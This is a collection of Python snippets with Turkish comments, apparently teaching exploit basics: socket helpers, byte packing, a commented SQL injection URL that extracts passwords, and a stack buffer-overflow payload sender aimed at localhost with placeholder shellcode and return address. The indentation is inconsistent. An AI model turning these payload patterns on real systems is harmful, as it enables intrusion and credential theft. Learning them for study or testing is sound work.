import socket

    def connect_and_send(host, port, data):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            print(f"[*] Bağlandı: {host}:{port}")
            s.sendall(data.encode() + b'\n') # Veri gönderimi
            response = s.recv(4096).decode()
            print(f"[*] Yanıt: {response.strip()}")
            s.close()
        except Exception as e:
            print(f"[!] Hata oluştu: {e}")

    # Kullanım örneği
    # connect_and_send("127.0.0.1", 9999, "Merhaba Dünya!")

    import struct

    # Küçük endian (little-endian) 32-bit integer paketleme
    # Örnek: Adres 0xdeadbeef
    address = 0xdeadbeef
    packed_address = struct.pack('<I', address) # '<I' -> little-endian unsigned int
    print(f"[*] Paketlenmiş adres (little-endian): {packed_address.hex()}") # efbeadde

    # Büyük endian (big-endian) 64-bit integer paketleme
    value = 0x1122334455667788
    packed_value = struct.pack('>Q', value) # '>Q' -> big-endian unsigned long long
    print(f"[*] Paketlenmiş değer (big-endian): {packed_value.hex()}") # 1122334455667788

    # Unpack (açma) işlemi
    unpacked_address = struct.unpack('<I', packed_address)[0]
    print(f"[*] Açılmış adres: {hex(unpacked_address)}")

    import binascii

    binary_data = b'\x90\x90\x90\x90\xcc'
    hex_representation = binascii.hexlify(binary_data)
    print(f"[*] Hex temsil: {hex_representation.decode()}")

    base64_representation = binascii.b2a_base64(binary_data)
    print(f"[*] Base64 temsil: {base64_representation.decode().strip()}")

    decoded_data = binascii.a2b_hex(b'90909090cc')
    print(f"[*] Hex'ten geri dönüştürüldü: {decoded_data}")

    # import requests
    # url = "http://example.com/vulnerable_app?id=1' UNION SELECT NULL, password FROM users-- -"
    # r = requests.get(url)
    # print(r.text)

    import socket
    import struct
    import time

    # Hedef bilgiler
    HOST = '127.0.0.1'
    PORT = 9999

    # Zafiyetli programın tampon boyutu varsayımı: 200 bayt
    # Tamponu dolduracak ve ROP/Return Adresini ezmeye yetecek veri
    # Örnek shellcode (gerçek bir shellcode değil, sadece örnek amaçlı)
    # Bu kısım gerçek bir exploitte hedef sisteme özel shellcode olacaktır.
    shellcode = b"\x90" * 16 + b"\xcc\xcc\xcc\xcc" # NOP sled ve Int3 (breakpoint)

    # Tamponu taşırmak için padding
    padding_size = 200 # Varsayılan tampon boyutu
    junk = b'A' * padding_size # Tamponu doldur

    # Hedef sistemde shellcode'un bulunacağı varsayılan adres (örn: 0xdeadbeef)
    # Bu adres, genellikle ASLR ve diğer korumalar bypass edildikten sonra bulunur.
    # Gerçek senaryoda, bu adres exploit edilecek uygulamanın belleğindeki bir adrese işaret etmeli.
    target_return_address = 0xdeadbeef # Placeholder adres
    
    # Adresi little-endian 32-bit olarak paketle
    packed_return_address = struct.pack('<I', target_return_address)

    # Exploit payload'u oluşturma
    # Junk (tamponu doldurma) + Shellcode (eğer doğrudan enjekte ediliyorsa) + Dönüş Adresi
    # Genellikle junk ve dönüş adresi arasında shellcode bulunur veya shellcode başka bir yere zıplanır.
    # Bu örnekte basitleştirilmiş bir payload yapısı kullanılmıştır.
    payload = junk + packed_return_address + shellcode

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        print(f"[*] {HOST}:{PORT} adresine bağlanıldı.")

        s.recv(1024) # Servisten gelen başlangıç mesajını oku

        print(f"[*] Payload gönderiliyor (boyut: {len(payload)})...\n{payload.hex()}")
        s.send(payload + b'\n') # Payload'ı gönder

        time.sleep(1) # Servisin çökmesi veya yanıt vermesi için bekle

        response = s.recv(1024)
        print(f"[*] Servis yanıtı:\n{response.decode(errors='ignore')}")

    except ConnectionRefusedError:
        print("[!] Bağlantı reddedildi. Servis çalışmıyor veya erişilemiyor.")
    except Exception as e:
        print(f"[!] Bir hata oluştu: {e}")
    finally:
        if 's' in locals() and s._closed == False:
            s.close()
            print("[*] Bağlantı kapatıldı.")